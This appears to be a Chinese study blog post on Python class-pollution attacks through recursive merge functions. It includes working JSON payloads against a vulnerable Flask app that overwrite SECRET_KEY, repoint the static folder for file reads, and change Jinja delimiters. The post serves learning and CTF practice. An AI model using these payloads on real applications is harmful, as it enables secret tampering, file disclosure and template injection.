前言

python原型链污染没系统学过,遇到要么是比较简单一把过,要么就是很难不会,但是还是决定来补一补坑(^_^)

STUDY

概念

python原型链污染和js原型链污染的目的差不多,但是原理机制很不同,js是通过js的迭代特性使用__proto__Prototype,python是污染类属性值。

Python 对象通过 __class__ 指向类,类通过 __bases__ 指向父类;属性查找会根据 MRO(方法解析顺序)沿类继承链向上查找。

da429a72-fb9c-4f98-97c1-69d539f11490

Nodejs是对键值对的控制来进行污染,而Python则是对类属性值的污染,且只能对类的属性来进行污染不能够污染类的方法。

和js原型链污染一样,需要一个merge操作或者说需要一个函数进行合并这样我们才能进行原型链污染,所以当我们看到merge相关操作我们就可以联想原型链污染。

污染过程

常见merge函数长这个样子

1
2
3
4
5
6
7
8
9
10
11
12
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

其实这个函数挺绕的

调试代码如下:

**通过对src的控制,来控制dst的值,来达到我们污染的 **

完成dst.k=v的污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}
print(son_a.secret)
print(instance.secret)

merge(payload, instance)

print(son_a.secret)
print(instance.secret)

跟着别人博客调试大概就懂这个过程了

刚进入for循环 dst值还是son_b() src是{"__class__" : {"__base__" : {"secret" : "world"}}}

image-20251103202453882

经过了merge(v, getattr(dst, k))后 dst变为了son_b.__class__

image-20251103202519251

在经过一次merge(v, getattr(dst, k)) dst变为了father类也就是son_b.__class__.__base__

image-20251103202603294

然后因为v不是字典而是world 于是进入了这个else分支

1
setattr(dst, k, v)

此时 dst为son_b.__class__.__base__也就是father类 k为secret v 为world

QQ_1762172550271

那么就成功污染father类的secret属性,将其从hello污染成了world 自然son_b()作为father的子类同样收到影响。这就是污染的具体流程,自己跟着调试一遍会很清晰。我自己理解就是污染instance.__class__.__base__也就是代码里的father类的secret属性,把它的值变为world。

!注意

上述我们污染的是secret属性,并不是什么都能被污染,object类就不行。

而且我们污染的是father类secret属性并不是son_b()的,father是son_b()的父类,father类受到影响,sob_b()随之也会受到影响。

手法总结

__base__获取目标类:

刚刚调试的代码就是通过__base__来获取父类(调试代码里的father类),但是如果和父子类没有关系我们应该怎么办呢?接下来会给一些其他的利用方式

__init__获取全局变量

原理:

通过污染函数(如 __init__)的 __globals__ 属性,从而间接修改全局命名空间中的变量或类属性,导致任意对象被污染。

1
2
3
4
5
6
7
8
a=1
def demo():
pass
class A :
def __init__(self):
pass
print(demo.__globals__==globals()==A.__init__.__globals__)
#输出True

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
a = 1
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def demo():
pass
class A:
def __init__(self):
pass
class B:
classa = 2

instance = A()
payload = {
"__init__":{
"__globals__":{
"a":4,
"B":{
"classa":5
}
}
}
}
print(B.classa)
print(a)
merge(payload, instance)
print(B.classa)
print(a)

仿照上面的调试你也可以详细看到这个污染的过程。

最开始dst是A()

QQ_1762223158749

经过merge后变成了 A.__init

image-20251104102812992

然后再经过一次merge变成了 A.__class__.init.__globals__看到了全局变量

image-20251104104445497

然后因为dst当前是字典,因为不满足if dst.get(k) and type(v) == dict:进入else分支 将dst即全局变量里的a赋值为了4 v变成字典{'classa':5}

image-20251104124554162

接下来因为满足if分支 代码运行到merge(v, dst.get(k))

此时image-20251106214813320

merge(v, dst.get(k)) 然后src=v,dst=B()

经过判断直接进入了setattr(dst, k, v)

image-20251106215105005

于是就把B里的classa的属性成功污染成了5

获取其他模块:

在全局变量的前提下,是我们都在入口文件中的类对象或者属性来进行操作的,但是如果我们操作的位置在入口文件中,而目标对象并不在入口文件当中,这时候我们就需要对其他加载过的模块来获取了

import:

在简单的关系情况下,我们可以直接通过import来进行加载,在payload中我们只需要对对应的模块重新定位就可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import demo
payload = {
"__init__":{
"__globals__":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
##demo.py
a = 1
class B:
classa = 2
sys:

在很多环境当中,会引用第三方模块或者是内置模块,而不是简单的import同级文件下面的目录,所以我们就要借助sys模块中的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
payload = {
"__init__":{
"__globals__":{
"sys":{
"modules":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
}
}
loader:

通过loader.__init__.__globals__['sys']来获取到sys模块,然后再获取到我们想要的模块,loader加载器在python中的作用是实现模块加载,其在importlib这一内置模块中有具体实现。而importlib模块下所有的py文件中均引入了sys模块。

__spec__,包含了关于类加载时候的信息。所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块

函数形参默认值替换:

关键信息替换:

secret_key

secret_key是在当前入口文件下面的,所以我们可以直接通过__init__.__globals__获取全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class cls():
def __init__(self):
pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "[+]Config:%s"%(app.config['SECRET_KEY'])

app.run(host="0.0.0.0")
1
2
3
4
5
6
7
8
9
10
11
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}
_got_first_request:
1
2
3
4
5
6
7
8
9
payload={
"__init__":{
"__globals__":{
"app":{
"_got_first_request":False
}
}
}
}
_static_url_path:

当python指定了static静态目录以后,我们再进行访问就会定向到static文件夹下面的对应文件而不会存在目录穿梭的漏洞,但是如果我们想要访问其他文件下面的敏感信息,我们就需要污染这个静态目录,让他自动帮我们实现定向

1
2
3
4
5
6
7
8
9
payload={
"__init__":{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
}
os.path.pardir:
1
2
3
4
5
6
7
8
9
10
11
payload={
"__init__":{
"__globals__":{
"os":{
"path":{
"pardir":","
}
}
}
}
}

Jinja语法标识符:

1
2
3
4
5
6
7
8
9
10
{
"__init__" : {
"__globals__" : {
"app" : {
"jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}
}
}
}

疑问

但是我很奇怪就是开发者在开发的时候为什么会用到merge这玩意,感觉用处并不是很大啊。但是都学了,就在现有层面学吧,如果你知道欢迎加我的联系方式联系我!

参考文章

1
2
3
https://xz.aliyun.com/news/12518
https://rycarl.cn/index.php/2025/04/28/python%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e4%bb%8e%e5%9f%ba%e7%a1%80%e5%88%b0%e6%b7%b1%e5%85%a5/
https://j1rry-learn.github.io/posts/ctf-%E9%A2%98%E5%9E%8B-python%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E9%A2%98%E8%AE%B0%E5%92%8C%E6%80%BB%E7%BB%93-/